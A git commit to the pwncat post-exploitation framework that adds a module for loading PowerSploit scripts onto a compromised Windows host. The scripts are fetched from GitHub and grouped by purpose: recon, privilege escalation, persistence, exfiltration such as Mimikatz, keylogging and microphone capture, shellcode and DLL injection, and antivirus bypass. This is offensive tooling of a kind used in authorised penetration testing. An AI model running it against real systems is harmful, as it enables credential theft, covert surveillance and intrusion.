Added powersploit module

This should cover all of the powersploit PowerShell scripts available on
the Github repository. They're loaded in groups, but individual scripts
could still be loaded by URL w/ `manage.powershell.import` if needed.

.gitignore

@@ -14,4 +14,3 @@ pwncat.sqlite-journal
 linpeas.txt
 NOTES.md
 db/pwncat*
-windows/

pwncat/modules/windows/manage/powershell/import.py

@@ -4,6 +4,7 @@ from io import IOBase, BytesIO
 from pathlib import Path
 
 import requests
+
 from pwncat.modules import Bool, Argument, BaseModule, ModuleFailed
 from pwncat.platform.windows import Windows
 
@@ -61,7 +62,7 @@ class Module(BaseModule):
             if r.status_code != 200:
                 raise PSModuleNotFoundError(orig_path)
 
-            return (path.name, BytesIO(r.content))
+            return (path.name, BytesIO(r.content + "\n"))
         else:
             raise PSModuleNotFoundError(orig_path)
 

pwncat/modules/windows/powersploit.py

@@ -0,0 +1,113 @@
+#!/usr/bin/env python3
+
+from pwncat.modules import Result, Status, Argument, BaseModule, ModuleFailed
+from pwncat.platform.windows import Windows, PowershellError
+
+
+class GroupInfo(Result):
+    def __init__(self, name: str):
+        self.name = name
+
+    def category(self, session: "pwncat.manager.Session"):
+        return "PowerSploit Module Groups"
+
+    def title(self, session: "pwncat.manager.Session"):
+        return f"[cyan]{self.name}[/cyan]"
+
+    def __str__(self):
+        return self.name
+
+
+class Module(BaseModule):
+    """
+    Load and execute modules from the PowerSploit PowerShell library. Modules are loaded in
+    groups referring to the directory structure of PowerSploit. Passing no arguments to this
+    module will list all available groups. Modules are downloaded directly from GitHub and
+    sideloaded to the target.
+
+    The PowerSploit source can be seen at https://github.com/PowerShellMafia/PowerSploit
+    """
+
+    MODULES = {
+        "recon": [
+            "Recon/Get-ComputerDetail.ps1",
+            "Recon/Get-HttpStatus.ps1",
+            "Recon/Invoke-CompareAttributesForClass.ps1",
+            "Recon/Invoke-Portscan.ps1",
+            "Recon/Invoke-ReverseDnsLookup.ps1",
+            "Recon/PowerView.ps1",
+        ],
+        "privesc": [
+            "Privesc/PowerUp.ps1",
+            "Privesc/Get-System.ps1",
+        ],
+        "persist": [
+            "Persistence/Persistence.psm1",
+        ],
+        "mayhem": [
+            "Mayhem/Mayhem.psm1",
+        ],
+        "exfil": [
+            "Exfiltration/Get-GPPAutologon.ps1",
+            "Exfiltration/Get-GPPPassword.ps1",
+            "Exfiltration/Get-Keystrokes.ps1",
+            "Exfiltration/Get-MicrophoneAudio.ps1",
+            "Exfiltration/Get-TimedScreenshot.ps1",
+            "Exfiltration/Get-VaultCredential.ps1",
+            "Exfiltration/Invoke-CredentialInjection.ps1",
+            "Exfiltration/Invoke-Mimikatz.ps1",
+            "Exfiltration/Invoke-NinjaCopy.ps1",
+            "Exfiltration/Invoke-TokenManipulation.ps1",
+            "Exfiltration/Out-Minidump.ps1",
+            "Exfiltration/VolumeShadowCopyTools.ps1",
+        ],
+        "exec": [
+            "CodeExecution/Invoke-DllInjection.ps1",
+            "CodeExecution/Invoke-ReflectivePEInjection.ps1",
+            "CodeExecution/Invoke-Shellcode.ps1",
+            "CodeExecution/Invoke-WmiCommand.ps1",
+        ],
+        "bypass": [
+            "AntivirusBypass/Find-AVSignature.ps1",
+        ],
+        "script": [
+            "ScriptModification/Out-CompressedDll.ps1",
+            "ScriptModification/Out-EncodedCommand.ps1",
+            "ScriptModification/Out-EncryptedScript.ps1",
+            "ScriptModification/Remove-Comment.ps1",
+        ],
+    }
+    POWERSPLOIT_URL = (
+        "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/"
+    )
+    PLATFORM = [Windows]
+    ARGUMENTS = {
+        "group": Argument(
+            str,
+            default="list",
+            help="Name of the PowerSploit module group to load (default: list groups)",
+        ),
+    }
+    POWERUP_URL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1"
+
+    def run(self, session: "pwncat.manager.Session", group: str):
+
+        # Use the result system so that other modules can query available groups
+        if group == "list":
+            yield from (GroupInfo(name) for name in self.MODULES.keys())
+            return
+
+        # Ensure the user selected a valid group
+        if group not in self.MODULES:
+            raise ModuleFailed(f"no such PowerSploit module: {group}")
+
+        # Iterate over all sources in the group
+        for url in self.MODULES[group]:
+            yield Status(f"loading {url.split('/')[-1]}")
+
+            try:
+                # Attempt to load the script in the PowerShell context.
+                session.run("manage.powershell.import", path=self.POWERSPLOIT_URL + url)
+            except PowershellError as exc:
+                # We failed, but continue loading other scripts. Just let the user know.
+                session.log(f"while loading {url.split('/')[-1]}: {str(exc)}")